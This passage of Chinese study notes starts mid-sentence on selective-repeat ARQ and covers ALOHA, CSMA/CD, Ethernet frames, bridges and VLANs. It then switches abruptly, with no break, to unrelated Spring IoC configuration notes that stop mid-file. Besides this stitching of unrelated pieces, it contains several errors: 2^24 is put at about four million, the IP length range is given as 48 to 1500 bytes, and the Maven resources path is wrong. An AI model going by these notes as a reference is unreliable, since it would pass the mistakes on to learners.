其二是,如果发送方已经接到了[1,14],唯独0号帧路上丢包了,在回退N帧自动重发中,发送方就得从0开始重发[0,14]

而实际上只需要重发一个0就足够了,但是接收方脑子太小了,只认一个数,[1,14]已经忘记了.

于是就改进成选择性重传算法

接收方加上了窗口,就有了缓存的能力

image-20230206220446089

关键注意1号帧在发送途中丢包,但是2号帧顺利抵达,此时接收方回复NAK1,意思是期望1.然而在发送方针对NAK1的回应到达之前,3号帧也顺利抵达了,此时接收方默默收下,但是啥回复都没有

然后发送方的针对NAK1的回复1号帧到了,

此时接收方回复的是ACK4,通知发送方,3之前已经都接收到了,可以发送4及之后的帧了,

发送方接收到ACK4之后会调整自己的发送窗口,然后继续发送4,5,...号帧

为啥发送方和接收方的窗口都得是\(2^{m-1}\)呢?

image-20230204204344648

假设m=2,那么帧编号就是\([0,3]\)此时窗口大小最大为2,否则,假设是3

发送方发送0,1,2三帧之后,都被接收方收到,但是所有回复都丢包了

此时接收方已经后移了接收窗口,此时接收方窗口内的期待0号帧是下一个0号帧.

但是发送方超时重发了刚才的0号帧

于是接收方就把刚才的0号帧当成下一个0号帧错误接收了

带捎带的N步返回NRQ

捎带:将控制报文,比如NAK,ACK等等,附带到数据报文中一起发送

带宽利用率

首先计算整个链路充满数据,能放开多少数据,也就是带宽时延积

然后使用的协议在传播时间内最多能有多少帧,多少bit上到信道上传输

做比即可

image-20230206221303181

多路访问

image-20230206222507328

随机访问协议

所有站点低位相同,任何站点都不能组织其他站点说话

有话要说就根据自己的协议说

AlOHA

任何站点,在任何时间,想说啥就说啥

image-20230207093146683

只要同一时间在信道上有两个帧,就会造成冲突,发生冲突的帧都会废掉

ALOHA协议流程:

image-20230207093619308

最多重发\(K_{max}\)次,如果一直没有收到ACK回复则放弃

每次发送之后等待\(2\times T_{p}\),这是接收ACK的窗口期

如果没有收到,则等待一个随机数的时间\(T_{B}= T_{p}\times R,r\in[0,2^k)\).然后再重发

传输和传播

传输,transmission,又可以翻译为发射,是发送方将信号全放到信道上用的时间 \[ 传输时间=\frac{帧长}{带宽} \]

image-20230207093935960

传播,propagation,信号的一位经过信道用时 \[ 传播时间=\frac{电缆长度}{信号速度(一般是光速)} \]

冲突时间:

假设各帧长度相同,ALOHA的冲突时间是传输时间的两倍

image-20230207094413864

即在\([t-T_{fr},t+T_{fr}]\)这期间,不允许有第二个帧

吞吐量

\[ S=G\times e^{-2G} \]

单位:帧

注意这里的吞吐量单位不是bps

当且仅当\(G=\frac{1}{2}\),\(S_{max}=0.184\)

G是帧传输时间内系统平均产生帧的数量

对于\(G=\frac{1}{2}\)也好立即,因为冲突时间就是两个帧传输时间,如果整个系统在一个传输时间内产生的帧数均值是\(G=\frac{1}{2}\),则冲突事件内产生的帧数均值就是1

如果\(G>\frac{1}{2}\)则冲突的概率增大,一旦发生冲突,两个帧都是废物

而吞吐量的定义是:单位时间内成功传送的数据量.

两个废物帧都不是成功传送,因此导致了吞吐量降低

推导\(S=G\times e^{-2G}\)

假设传输时间是T,当一个帧发射之后,在T时间内,系统中又发送帧数均值是G

也就是说,T时间内系统又发送一帧的概率为\(G\)

首先考虑吞吐量怎么计算

定义吞吐量:传输时间内,能够成功传输的帧数,则有: \[ S=GP_0 \] 其中\(P_0\)为一帧发送成功的概率,也就是冲突时间内没有第二个帧的概率.

\(G\)是T时间内系统发送帧数的均值

\(P_0\)是成功率

那么\(S=GP_0\)就计算了T时间内发送成功的帧数的均值

下面考虑\(P_0\)怎么算

计算一帧成功传输的概率,也就是发送一帧之后2T时间内没有其他帧的概率

假设T时间内有其他X个帧发射.显然\(X\sim P(G)\)泊松分布,则分布律为 \[ P(X=k)=\frac{G ^k}{k!}e^{-G} \]

在2T时间即冲突时间内,不发生冲突,意味着没有其他帧发送,其概率是 \[ P(X=0)\times P(X=0)=(\frac{G^0}{0!}e^{-G})^2=e^{-2G} \]

带入\(P_0=P(X=0)\times P(X=0)=e^{-2G}\)得到 \[ S=GP_0=Ge^{-2G} \]

如果定义吞吐量为:传输时间内成功传输的帧数.那么算到这里就结束了

如果定义吞吐量为:单位时间内成功传输的帧数.那么\(S=\frac{G{e^{-2G}}}{T}\)

如果定义吞吐量为:单位时间内成功传输的bit数.那么\(S=\frac{G{e^{-2G}}}{T}\times 帧大小\)

时隙ALOHA
image-20230207102708453

规定只能在每个Slotn一开始发送,每个帧顶多占用一个Slot,不会影响其他Slot

那么冲突只会发生在一个Slot之内,并且一旦发生冲突,一定是两个帧在时间上完全重合

吞吐量

假设每个Slot开始时,系统中传输帧的均值为G帧,则Slot时间内又发送的帧数还是满足泊松分布

只不过冲突时间降为一个Slot,成功发送一帧的概率变为 \[ P_0=P(X=0)=e^{-G} \] 吞吐量就是\(S=GP_0=Ge^{-G}\)

CSMA

Carrier Sense Multiple Access

载波侦听 多路访问

发送前首先侦听,看看有没有其他帧在发送,可以缓解冲突,但是不能解决冲突

因为一个站点侦听时,可能另一个站点已经传输了信号,但是由于传播延迟,没有被本站点侦听到,如图所示:

image-20230207103600938

B站点在t1时刻传输一个信号,C在t2时刻要发送一个信号,但是t2时刻信号尚未传播到C处,因此C在t2传输一个信号,就会和B传输的信号发生冲突

冲突时间

在B开始传输消息,到消息传播到其他站点之前,这段时间是不能有第二个消息传播的

因此冲突时间就等于传播时间

image-20230207104138197
冲突缓解方法
image-20230207104446245
CSMA/CD

Carrier Sense Multiple Access with Collision Detection,带冲突检测的载波侦听多路访问

image-20230207105245273

之前CSMA协议中,一个站点只会在发送前进行检查,如果信道空闲就发送

现在CSMA/CD在CSMA的基础上,一个站点会在发送时同时检查,如果侦测到信道中有其他信号,立刻终止发送

因为起码顺着该信号的传播方向上,如果再发送信号肯定是冲突了,那就不如立刻闭嘴不发了

冲突检测时间

首先考虑如图所示情况

image-20230207110344621

如果传输时间很短但是传播延迟很长,可能就存在双方均检测不到冲突或者只有一方能够检测到冲突的情形

此时冲突废帧会被错误交付

为了避免这种情况,就需要传输时间和传播时间有约束关系

直接考虑距离最远的两个站点A,B的情况即可

image-20230207111015408

如果B在A的信号马上就要发到时才开始发送,直到B的信号被A侦听到时,A必须仍在发送

也就是说最小传输时间应为最大传播时间的两倍,如下图

因为A,B是两个距离最远的站点,因此是最大传播时间

image-20230207111728369

CSMA/CD网络中,带宽10Mbps,最大传播时间为25.6us,那么最小帧长度是多少?

假设帧长是x,则传输时间是\(T_{fr}=\frac{x}{10M}\)

\(T_{fr}\ge 2T_p\)得到 \[ \frac{x}{10\times 10^6}\ge 25.6\times 10^{-6}\times 2 \]\(x\ge 512bit\)

因此帧长最小为512比特

CSMA/CD算法流程
image-20230207112317356
CSMA/CA

Carrier Sense Multiple Access with Collision Avoidance,带冲突避免的载波侦听多路访问

这个协议挺有意思

image-20230207151754370

IFS:Interframe Space,IFS 帧间间隔

IFS用于定义一个站点的优先权,优先权高的站点,其IFS就短

为啥IFS短了就意味着优先权高呢?这就需要了解协议如何工作的

Contention Window 竞争窗口

工作流程:

CSMA/CA

1.首先检查信道是否空闲,如果不是,重新检查

2.如果信道空闲,等待IFS时间

3.等完了再检查一下信道是否空闲,如果忙,退回1.

4.挑一个随机数\(R\in[0,2^K)\),也就是在竞争窗口中抓阄

5.等R个时间片,然后检查信道是否忙,如果忙,就等会不忙了再发送.如果不忙就发送

6.发完了设置窗口期等待ACK回复,如果收到,则通信成功,否则K++,回头从1开始,如果K>15则不再尝试,通信事变

以太网

低层协议的组成

image-20230207155541312

OSI规定的数据链路层分成两个子层,一个是LLC层,一个是MAC层.前者承上后者启下

以太网是MAC的一种实现方式,并且是目前最成功的实现方式

MAC地址

MAC地址规定

以太网地址是一个6字节数,每个网卡都有一个固定的MAC地址

一个计算机可能由多张网卡,因此计算机可以有多个MAC地址

ipconfig /all即可查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
以太网适配器 以太网:

媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Realtek PCIe GbE Family Controller
物理地址. . . . . . . . . . . . . : 84-A9-38-F4-9B-69
...

无线局域网适配器 WLAN:

连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) Wi-Fi 6 AX201 160MHz
物理地址. . . . . . . . . . . . . : 2C-6D-C1-98-7D-03
....

2C-6D-C1-98-7D-03为例子,最左边是最高位,

称"第一个字节"为最左边的0x2C,第二个就是0x6D

特殊地址

如果一个MAC地址第一个字节的最低为是0,则该地址是一个单播地址,是1则为多播地址

特殊的,如果MAC addr=FF:FF:FF:FF:FF:FF,则该地址是一个广播地址

0x2C=00101100b,显然所有的物理网卡地址必然是一个单播地址

怎么观察广播地址呢?可以观察ARP协议需要在以太网中广播寻找目标IP地址的主机

image-20230207160905292

源地址就是本机WLAN网卡的地址2C-6D-C1-98-7D-03,目的地址12个F,显然是一个广播

wireshark已经自动根据本机WLAN网卡的前三个字节判断出本网卡产自Intel公司

再一查好家伙made in 马来西亚

image-20230207161145923

同理华为公司也会买下前三个字节用来标志自己公司的网卡

image-20230207161443085

如果前三个字节是公司编号

那么一个公司编号最多能够产\(2^{24}\approx400万\)张网卡

如果一部手机使用一个wifi网卡,光中国就有13亿人,假设有1亿人用华为手机,显然一个公司编号是不够用的

网络序

字节序不变,但是每个字节内的比特位分别调转(不是取反,是前后调转)

image-20230207161313727

MAC帧格式

MAC帧有两种格式,

不常用的802.2LLC帧,这是IEEE802工作组制定的答辩

最常用的EthernetV2帧

image-20230207162023980

MAC帧=MAC头+MAC数据+FCS

其中MAC头包括目的地址,源地址,MAC数据类型

FCS就是校验和

MAC数据一般是IP数据报,包括IPv4包或者IPv6数据包

不合法的MAC帧

以下有一则为不合法MAC帧

数据字段的长度与长度字段的值不一致;

帧的长度不是整数个字节;

用收到的帧检验序列 FCS 查出有差错;

数据字段的长度不在 46 ~ 1500 字节之间;

MAC 帧长度不在64 ~ 1518 字节之间;

对于检查出的无效 MAC 帧就简单地丢弃,以太网不负责重传丢弃的帧。

这里对帧长度有一个规定,[64,1518]为啥会有这两头的限制呢?

合法帧长度

[64,1518]bytes

由于有限以太网使用CSMA/CD协议,因此需要保证最小传输时间大于等于两倍的最大传播时间

而这两个时间的关系,关乎帧长度啥事呢?

显然帧长越长,传输时间就越长,可以推测帧长为64bytes时达到临界值

根据802.3规定,以太网最长2500米,带宽10Mbps,四个中继器,最坏情况下,往返时间(也就是两倍的最长传播时间)大约是50μs.

那么传输速度应该大于50μs.

又带宽是10Mbps,在50微妙内能够发送\(50\times 10^{-6}s\times 10\times 10^6bps=500bit\)

增加安全边际,往上取整到512bit=64byte

因此规定最小帧长就是64byte

那么又为啥限制最长帧长为1500呢?

因为网络是多台计算机共享的,如果一台主机一直喋喋不休地说,其他主机就得等着,因此一句话不能说太长

于是人为规定为最长1518byte

那么在以太网上的IP包长度就跟着被限制到[48,1500]字节

这个1500字节也就是MTU,最大传输单元

网络连接

数据链路层设备

网桥,集线器,二层交换机都是链路层设备

一层设备 结构 作用
中继器 image-20230207210513001 再生信号(不是放大信号),延长通信距离
集线器 image-20230207210909500
所有计算机同处于一个冲突域
集线器从一个端口进来的包会被无脑拷贝到所有的出端口
只是把多个主机联通,
相当于多通水管
多端口的中继器
二层设备 结构 作用
网桥 image-20230207211056989
网桥可以检查目标地址,根据自己学习建立的转发表,决定从哪个端口转发,相对集线器聪明了不少
减小冲突域,网桥的一个接口是一个冲突域
但是所有达到接口都在同一个广播域
二层交换机 image-20230207163904317 消除冲突域,从此不再有冲突
相当于带阀门的多通水管
但是所有接口都在同一广播域

区分两个术语:广播域,冲突域

广播域:能够接收广播帧的所有设备的集合

冲突域:所有共享介质(比如电缆)都是冲突域

显然广播域的范围要大于等于冲突域

image-20230207213901157

以太网:有线局域网的一种实现,链路层使用CSMA/CD技术

网桥
爱学习の网桥
image-20230207211927143

刚接入局域网的网桥是个傻子,啥也不知道,但是他很快就会知道

一开始他的MAC:Port映射表是空的

当A@LAN1 向 D@LAN2发送一个数据帧之后,这个帧显然必须从网桥的1号端口进入.网桥从帧中得知,源地址A在1端口对应的LAN上,于是将A:1写入映射表

如果D回复A收到,立刻就会把D的MAC暴露给网桥,网桥就会记录D:2

D不回复也没关系,反正D只要一说话立刻就会被网桥学会

环路问题
image-20230207212358099

如果有两个网桥同时连接了两个LAN

那么一个LAN发出的帧会同时被两个网桥转发,导致另一个LAN中出现两次该帧

生成树算法

生成树算法用于建立多个LAN的最优联通路径

这里的最优可能是最小跳数,最小延迟,最大带宽等等

假设从网桥到LAN跳数为1,从LAN到网桥跳数为0。

为啥要这样假设呢?

因为网桥不会主动向一个LAN发送帧,除非该帧的目的在这个LAN中

而一个LAN的帧要想传送到另一个LAN,必须要经过网桥

也就是说,网桥转发帧需要一定的代价,应该尽量减少转发量

而LAN向网桥发送帧这是不可阻阻挡的,几乎没有代价

因此有这么一个假设

首先将网桥和LAN进行有向图建模,并标注边权

image-20230207212859184

为啥没有两个网桥直接连接?或者两个LAN直接连接?

这不废话吗

两个网桥连接和只用一个网桥不一样吗?

两个LAN连接就是一个LAN

两个LAN连接也得使用网桥啊(

生成树算法:

spanning tree algorithm:

1.每个网桥广播ID,选择最小的ID作为根网桥

2.找出从根网桥到其它网桥或LAN的最短路径

3.最短路径组合生成最短的树

4.标记转发端口和阻塞端口

注意生成树算法目的是,找出从根网桥到其他网桥和LAN的最短路,

而不是为每个LAN找出到其他各个LAN的最短路

使用生成树算法之后,阻塞端口不再使用,转发端口活跃

交换机

交换机相对于集线器的优点:

1.每个端口是一个冲突域

2.根据目标MAC地址查转发表,决定发往哪个端口

3.全双工,由于没有冲突域,不需要CSMA/CD协议

4.有缓存,各个接口的带宽可以不同

网络层设备

链路层设备关心帧的MAC地址

网络层设备关心包的IP地址

三层设备就一个三层交换机和一个路由器

这个三层交换机不伦不类,它既有二层交换机那个交换转发的功能,也有路由器的路由功能

两者本身上的区别是,三层交换机主要是硬件驱动的,但是路由器是CPU+操作系统软件驱动的.这就导致三层交换机的效率远快于路由器

两者功能上的区别是,三层交换机用于连接相同性质的网络,比如连接两个LAN:192.168.2.1/24和192.168.1.1/24

但是路由器主要用于不同类型的网络连接,比如因特网和局域网的连接,入户网线可能给一个互联网的公网地址,需要使用一个路由器NAT转化为一个LAN.并且实际上的路由选择,负荷分担,链路备份,和其他网络交换路由信息,都是路由器实现的

路由功能:当IP报文抵达路由器时,决定转发给哪一个下一跳路由器

这个决策是基于路由器的路由表做出的

路由表可以人工填写静态的,也可以让路由器自己学,就跟网桥交换机的转发表差不多

网关

比较特殊的路由器

一个LAN内的主机如果想要跨LAN访问另一个主机,只通过二层交换机是做不到的,因为二层交换机是连IP地址都不知道的傻子.网关就是一个LAN和外部网络连接的关口.LAN内的主机只要是想和外部通信,无脑往网关发包就可以了,网关负责决定这个包如何路由

虚拟局域网

交换机可以隔离冲突域但是无法隔离广播域

划分虚拟局域网之后可以隔离冲突域和广播域

在一个交换机上划分了VLAN,实际上相当于虚拟出多个交换机,每个交换机都分别连接到路由器上,形成多个LAN,并且这几个LAN互不连通.这个路由器就是各个LAN的网关

等效结构

如图所示

image-20230207220800643

这实际上就相当于

image-20230207220913692
如何实现
image-20230207221014728

如果一个VLAN跨越了两个交换机,那么这个VLAN中两个计算机通过交换机通信时,交换机在发往另一个交换机之前,检查A计算机所处VLAN,然后在链路层帧后面加上VLAN标志,这样另一个交换机就知道把改帧转发给哪一个目标VLAN了

image-20230207223219150

如图所示的拓扑中,经过实验,PC9@192.168.10.1 ping PC13@192.168.10.3时,ICMP报文会被LSW5交换机准确地从GE0/0/4口转发到GE0/0/2端口,报文中也没有体现VLAN

image-20230207223605022

PC13@192.168.10.3 ping PC11@192.168.10.2时会经过两个路由器的Trunk端口,其报文中,以太网头和IP头之间加上了VLAN编号,占用四个字节,这个玩意叫做tag(标签)

image-20230207223506096
交换机端口类型

access类型,只属于一个VLAN,用于连接计算机

trunk类型,主干道,可以设置允许哪些VLAN通过,用于连接交换机

hybrid类型,类似于trunk,但是hybrid允许通过改接口的帧不带VLAN tag,而trunk要求必须带VLAN tag(除了缺省VLAN,默认是VLAN 1,的帧不需要带tag)

当端口接收到不带VLAN Tag的报文后,则将报文转发到属于缺省VLAN的端口(如果设置了端口的缺省VLAN ID,默认是VLAN 1)。

当端口发送带有VLAN Tag的报文时,如果该报文的VLAN ID与端口缺省的VLAN ID相同,则系统将去掉报文的VLAN Tag,然后再发送该报文。

Spring Core

Spring Ioc容器

容器配置文件

maven管理的Spring项目中,spring配置文件一半放在/src/main/java/resources目录下,比如

/src/main/java/resources/beans.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd">

<!-- 一个java bean-->
<bean id="dustball" class="top.dustball.pojo.User" >
<property name="name" value="dustball"/>
<property name="pwd" value="sjh123456"/>
<property name="id" value="114514"/>
</bean>

<!-- 别名-->


</beans>

配置Spring容器对象

总共有五种标签

标签 意义 属性 元素
beans bean组
bean 一个pojo对象
alias bean的别名
description 描述,相当于注释
import 导入其他xml配置

为什么要控制反转?

参考为什么要用IOC:inversion of controll反转控制(把创建对象的权利交给框架) - 周文豪 - 博客园 (cnblogs.com)

之前在学javaweb时,每次高层访问底层,比如Service访问Dao层,高层上都要持有底层对象的句柄,并且掌握合适释放底层对象

实际上很麻烦,也没必要

这就好比去饭店吃饭,客人非要管着厨师怎么做饭.而实际上只需要管好点菜就行了

于是考虑使用设计模式中的单例模式,而引入设计模式又会造成代码的复杂性

反正不就是要一个对象,并且好管理吗?让Spring框架干这个事情

这就是Spring容器干的事情

将所有beans扔进Spring容器,让他管理,对于程序来说,Spring容器在全局位置,程序员可以自由调用

然后用BeanFactory等等工厂,对程序员提供接口,这个BeanFactory干了个啥?意思意思:

img

类域里面有一个静态代码块,其用意是,当BeanFactory对象创建时仅执行一次,也就是单例模式.

静态代码块中读取了bean.properties,根据xml文件的配置,实例化bean放到Map<String,Object> beans容器中

这个容器实际上是一个Map字典,例子中使用HashMap实现之

此后要使用容器中的对象时,只需要调用工厂的getBean方法,传入的对象id作为键去查beans哈希表,查到就返回对象引用

所谓"依赖注入",就是指把java bean放到Spring容器中去

害tm注入,牛逼哄哄的,害什么控制反转,纯纯吓唬人

container magic

bean在何时创建

Spring Bean

从配置文件实例化Spring容器时创建

也就是说

1
ApplicationContext context=new ClassPathXmlApplicationContext("beans.xml");

这玩意执行之后,beans.xml中的所有Bean都会创建,并放置在Bean缓存池中

这一点可以下断点观察

但是,如果beans.xml中,一个bean如果带上了懒加载的属性,则啥时候用这个bean时,它才不得不加载

比如

1
2
3
4
5
<bean id="dustball" class="top.dustball.pojo.User" lazy-init="true">
<property name="name" value="dustball"/>
<property name="pwd" value="sjh123456"/>
<property name="id" value="114514"/>
</bean>

这个dustball就不会跟随context的实例化而同时创建,如果从来不调用dustball,它就不会被创建

bean属性

id&class

最基本的属性就是id和class

id是这个bean在容器中的键,值就是bean的对象引用

class是这个bean的类

1
2
3
4
5
<bean id="dustball" class="top.dustball.pojo.User">
<property name="name" value="dustball"/>
<property name="pwd" value="sjh123456"/>
<property name="id" value="114514"/>
</bean>

scope

规定bean的作用域,

singleton,单例模式,每次getBean调用,返回同一个实例.默认的作用域.

如果没有懒加载属性,则该bean会随容器一起创建,随容器一起销毁

prototype,原型模式,每次getBean调用,都会返回一个新的实例.

啥时候getBean,啥时候才会创建

init-method

不建议使用

不建议使用

不建议使用

初始化回调函数

创建bean使用无参构造函数,可以在其中进行初始化

也可以另外指定初始化函数,该函数必须无参数无返回值

1
2
3
4
5
<bean id="dustball" class="top.dustball.pojo.User" scope="prototype" init-method="init" destroy-method="destroy">
<property name="name" value="dustball"/>
<property name="pwd" value="sjh123456"/>
<property name="id" value="114514"/>
</bean>

指定User类的init函数为初始化函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package top.dustball.pojo;


import lombok.*;

//@NoArgsConstructor
//@AllArgsConstructor
@Data
@ToString
public class User {
private int id;
private String name;
private String pwd;

public User() {
System.out.println("User ctor called");
}

public User(int id, String name, String pwd) {
System.out.println("User 3arg ctor called");
this.id = id;
this.name = name;
this.pwd = pwd;
}
public void init(){
System.out.println("init method called");
}
public void destroy(){
System.out.println("destroy method called");
}

}

Spring依赖注入

基于ctor的依赖注入

通过自定义的有参构造函数进行实例化就是基于ctor的依赖注入

1
2
3
4
5
<bean id="dustball" class="top.dustball.pojo.User" scope="prototype">
<constructor-arg name="id" value="1" type="int"/>
<constructor-arg name="name" value="dustball" type="java.lang.String"/>
<constructor-arg name="pwd" value="sjh" type="java.lang.String"/>
</bean>

这里使用键决定参数对应关系,也可以使用index下标对应ctor的参数

这个配置届时会调用User的三参数ctor

1
2
3
4
5
6
public User(int id, String name, String pwd) {
System.out.println("User 3arg ctor called");
this.id = id;
this.name = name;
this.pwd = pwd;
}

基于setter的依赖注入

之前用property元素配置bean时,之所以能够成功,是因为lombok的@Data注解,自动帮我们加上了setter方法

1
2
3
4
5
<bean id="deutschball" class="top.dustball.pojo.User" scope="prototype">
<property name="id" value="2"/>
<property name="name" value="deutschball" />
<property name="pwd" value="sjh"/>
</bean>

<property name="id" value="2"/>这句要求User类要有setID方法,对其传递参数2

注入成员对象

之前的User类有三个成员变量,一个基本数据类型int,两个String类型

现在UserProxy{User user;String seviceID};类型包括了一个User成员对象和一个String成员变量

如何注入这么一个UserProxy类型的bean呢?

1
2
3
4
5
6
7
8
9
<bean id="vader" class="top.dustball.pojo.User" >
<property name="id" value="11"/>
<property name="name" value="vader"/>
<property name="pwd" value="sjh"/>
</bean>
<bean id="vader_proxy" class="top.dustball.pojo.UserProxy">
<property name="user" ref="vader"/>
<property name="serviceID" value="0x00001"/>
</bean>

<property name="user" ref="vader"/>这里的ref应为一个bean的id标识

注入内部bean

bean里面可以包含一个bean作为成员对象

1
2
3
4
5
6
7
8
9
10
11
12
<bean id="proxy" class="top.dustball.pojo.UserProxy">
<property name="user" >
<bean class="top.dustball.pojo.User" id="proxyUser">
<property name="id" value="3"/>
<property name="name" value="puppet" />
<property name="pwd" value="sjh"/>
</bean>
</property>

<property value="0x00001" name="serviceID"/>

</bean>

其中UserProxy类长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package top.dustball.pojo;


import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.ToString;

@Data
@AllArgsConstructor
@NoArgsConstructor
@ToString
public class UserProxy {
User user;
String serviceID;
}

注入集合

啥时候用到啥时候回来学

自动装配

自动装配是为了简化注入成员对象的情形

不使用自动装配:

1
2
3
4
5
6
7
8
9
<bean id="vader" class="top.dustball.pojo.User" >
<property name="id" value="11"/>
<property name="name" value="vader"/>
<property name="pwd" value="sjh"/>
</bean>
<bean id="vader_proxy" class="top.dustball.pojo.UserProxy">
<property name="user" ref="vader"/>
<property name="serviceID" value="0x00001"/>
</bean>

关键在于<property name="user" ref="vader"/>这一句,表明了本bean引用了哪一个bean

使用自动装配之后可以省去这句,由Spring(具体是谁我也不知道)自动决定引用哪一个bean

默认情况下是不会自动装配的,需要手动设置装配哪一个bean.

感觉上显示写明装配哪一个bean,代码更加清晰,并且也不会多复杂.自动装配反而降低可读性

byName

1
2
3
4
5
6
7
8
9
    <bean id="user" class="top.dustball.pojo.User" >
<property name="id" value="11"/>
<property name="name" value="vader"/>
<property name="pwd" value="sjh"/>
</bean>
<bean id="vader_proxy" class="top.dustball.pojo.UserProxy" autowire="byName">
<!-- <property name="user" ref="vader"/>-->
<property name="serviceID" value="0x00001"/>
</bean>

UserProxy中不需要显式指定user成员引用哪一个bean,因为其bean属性中有autowire="byName",根据名称自动装配

啥叫"根据名称自动装配?"

1
2
3
4
public class UserProxy {
User user;
String serviceID;
}

这里成员对象user,其键名就是"user",因此Spring会根据这个"user"去找id="user"的bean,也就是

1
<bean id="user" class="top.dustball.pojo.User" >

如果找到了,则使用该bean,否则使用null值

byType

1
2
3
4
5
6
7
8
9
    <bean id="user" class="top.dustball.pojo.User">
<property name="id" value="11"/>
<property name="name" value="vader"/>
<property name="pwd" value="sjh"/>
</bean>
<bean id="vader_proxy" class="top.dustball.pojo.UserProxy" autowire="byType">
<!-- <property name="user" ref="vader"/>-->
<property name="serviceID" value="0x00001"/>
</bean>

byType,根据类型自动专配,user成员是一个User类型,beans.xml中的user类型的bean自动作为成员进行装配

如果有两个以上的user bean,则会报错expected single matching bean but found 2: dustball,user

constructor

构造函数参数匹配

比较类似于byType,

区别就是constructor-arg和property的区别

1
2
3
4
5
6
7
8
9
10
    <bean id="user" class="top.dustball.pojo.User">
<property name="id" value="11"/>
<property name="name" value="vader"/>
<property name="pwd" value="sjh"/>
</bean>
<bean id="vader_proxy" class="top.dustball.pojo.UserProxy" autowire="constructor">
<!-- <property name="user" ref="vader"/>-->
<constructor-arg name="serviceID" value="0x0001"/>
<!-- <property name="serviceID" value="0x00001"/>-->
</bean>

使用注解开发

在beans.xml中加上注解配置和自动扫描

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">

<context:annotation-config/>
<context:component-scan base-package="top.dustball.pojo"/>

</beans>

注意此时自动扫描主机范围是top.dustball.pojo这个包下,可以扩大范围

1
<context:component-scan base-package="top.dustball"/>

@Component

作用于类上

自动给类创建一个pojo

比如top.dustball.pojo.User类这样写

1
2
3
4
5
6
7
8
@Data
@ToString
@Component("dustball")
public class User {
public int id;
private String name;
private String pwd;
}

@Component("dustball")将会自动创建一个bean,其id就是dustball

在测试类中就可以通过context.getBean("dustball")调用之

Component注解只能创建对象,但是无法设置对象的属性值,可以通过@Value注解设置属性值

如果只写@Component,不显示指定id,则默认bean使用类名的首字母小写作为id,即User类对应user bean

衍生注解

衍生注解 作用于
@Respository UserDao
@Service UserService
@Controller UserController

需要注意的是,beans.xml中指定要扫描的位置,

原来的位置是pojo包下的所有Dao层的类

1
<context:component-scan base-package="top.dustball.pojo"/>

现在要拓展范围,扫描所有Dao,Service,Controller层的类

1
<context:component-scan base-package="top.dustball"/>

@Value

作用于属性或者setter上,配合@Component使用,初始化bean的各个属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package top.dustball.pojo;

import org.springframework.beans.factory.annotation.*;
import lombok.*;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;

//@NoArgsConstructor
//@AllArgsConstructor
//@Data
@Data
@ToString
@Component("dustball")
public class User {
@Value("1")
public int id;
@Value("dustball")
private String name;
@Value("sjh")
private String pwd;
}

此时Spring容器中自动创建的id=dustball的bean,三个属性均已初始化

@Autowired

作用于成员对象或者其setter方法上

自动装配成员对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package top.dustball.pojo;

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.ToString;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Repository;

@AllArgsConstructor
@NoArgsConstructor
@Data
@ToString
@Repository
public class UserProxy {
@Autowired
User user;//此处由Spring容器自动寻找user类型的bean,找到则自动装配
@Value("0x10000")
String serviceID;//此处默认初始化为0x10000
}

实际上是byType实现的

因此beans.xml中应该有一个id为user的bean,或者User类上带有Component注解或者其衍生注解

Autowired和Required的关系:

1
2
3
public @interface Autowired {
boolean required() default true;
}

默认情况下required=true,这意味着user这个成员对象必须被一个bean装配,如果SpringIoc容器中找不到合适的bean则报错

1
No qualifying bean of type 'top.dustball.pojo.User' available

如果required=false,则该成员对象可以为null,SpringIoc容器中找不到合适的bean就直接摆烂不找了,赋值为null

@Qualifier

配合@Autowired一起使用

1
2
3
4
5
6
7
8
public class UserProxy {

@Autowired(required = true)
@Qualifier(value = "dustball")
User user;
@Value("0x10000")
String serviceID;
}

本来只用@Autowired相当于byType自动装配bean,现在希望装配一个指定id的bean

1
@Qualifier(value = "dustball")

这就限定了必须使用id=dustball的这个bean

1
2
3
4
5
<bean id="dustball" class="top.dustball.pojo.User">
<property name="id" value="11"/>
<property name="name" value="vader"/>
<property name="pwd" value="sjh"/>
</bean>

@Scope

作用于类上,配合@Component以及其衍生注解一起使用

用于指定该bean的作用域,要么是singleton要么是prototype

1
2
@Scope("singleton")
@Scope("prototype")
1
2
3
4
5
6
7
8
9
10
11
...
@Repository
@Scope("prototype")
public class UserProxy {

@Autowired(required = true)
@Qualifier(value = "dustball")
User user;
@Value("0x10000")
String serviceID;
}

xml给👴爬

之前不管是纯xml配置还是使用注解简化的xml配置,都离不开xml

即使是注解开发,也需要一个这种的xml文件:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
<context:annotation-config/>
